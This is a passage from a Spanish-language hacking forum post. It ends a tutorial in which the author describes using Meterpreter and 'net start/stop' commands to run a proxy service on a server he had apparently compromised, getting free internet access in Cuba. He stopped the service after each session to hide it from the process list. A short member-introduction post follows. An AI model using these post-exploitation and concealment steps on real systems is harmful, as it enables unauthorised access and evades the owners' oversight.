Solo quedaba iniciar el servicio:
Desde meterpreter:

Código: php
meterpreter > run service_manager -S -n ProxyPlus


A veces lo iniciaba desde MS-DOS:

Código: php
C:\WINDOWS\system32> net start ProxyPlus


Perfecto ya no me faltaba nada. Solo entrar por via web al servidor por el puerto 4400 (Puerto de administracion del ProxyPlus) y configurarlo correctamente.

y cuando escribi en mi navegador: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que emocion ver que estaba en internet, sin
ninguna restriccion y sin tener que pagar nada, todo con una Wi-Fi y mi antenita casera.

Por supuesto esta de mas decir que cada vez que me desconectaba detenia el servicio para que no saliera en los procesos:
Desde meterpreter:

Código: php
meterpreter > run service_manager -K -n ProxyPlus


Código: php
C:\WINDOWS\system32> net stop ProxyPlus


De esta forma estuve un tiempo conectado desde Cuba, desde mi propia casa, luego quitaron el router y contra eso no pude hacer nada jaja. Ahora tengo internet ya que me encuentro en otro pais cumpliendo una mision, aqui las redes inhalambricas abundan y es facil conectarse a cualquiera, aunque este protegida con clave.
Bueno aunque esto fue hace ya un tiempo, aun asi las tecnicas y los comandos no han cambiando, de Backtrack R3 a Kali no hay diferencia en esto, y ademas hay varios principios que se exponen aqui que les seran muy utiles.

(Este tema lo publique inicialmente en otro foro hace ya cierto tiempo, pero me parecio bien compartirlos con ustedes para que se beneficien directamente de el)

Saludos
#36
Presentaciones y cumpleaños / [B3N] Me presento
Junio 20, 2015, 08:55:44 PM
Un saludo para todos. Me impresiona ver el gran trabajo que ha hecho la comunidad de underc0de, como ha crecido desde hace varios a~os que no la visito, me acuerdo que no eran tantos usuarios,  yo nunca me hice un usuario aqui, yo comenze por Hackxcrack, aqui solo entraba y leia algunas cosas, pero wow me he quedado impresionado al ver el cambio, FELICIDADES a todos. Bueno aqui estoy, tal vez escriba aqui algunos temas que he escrito en otros sitios, para que la comundidad de underc0de se beneficie directamente de ellos, y bueno lo nuevo ya vendra tambien a medida que el tiempo me lo permita.

Un saludo a todos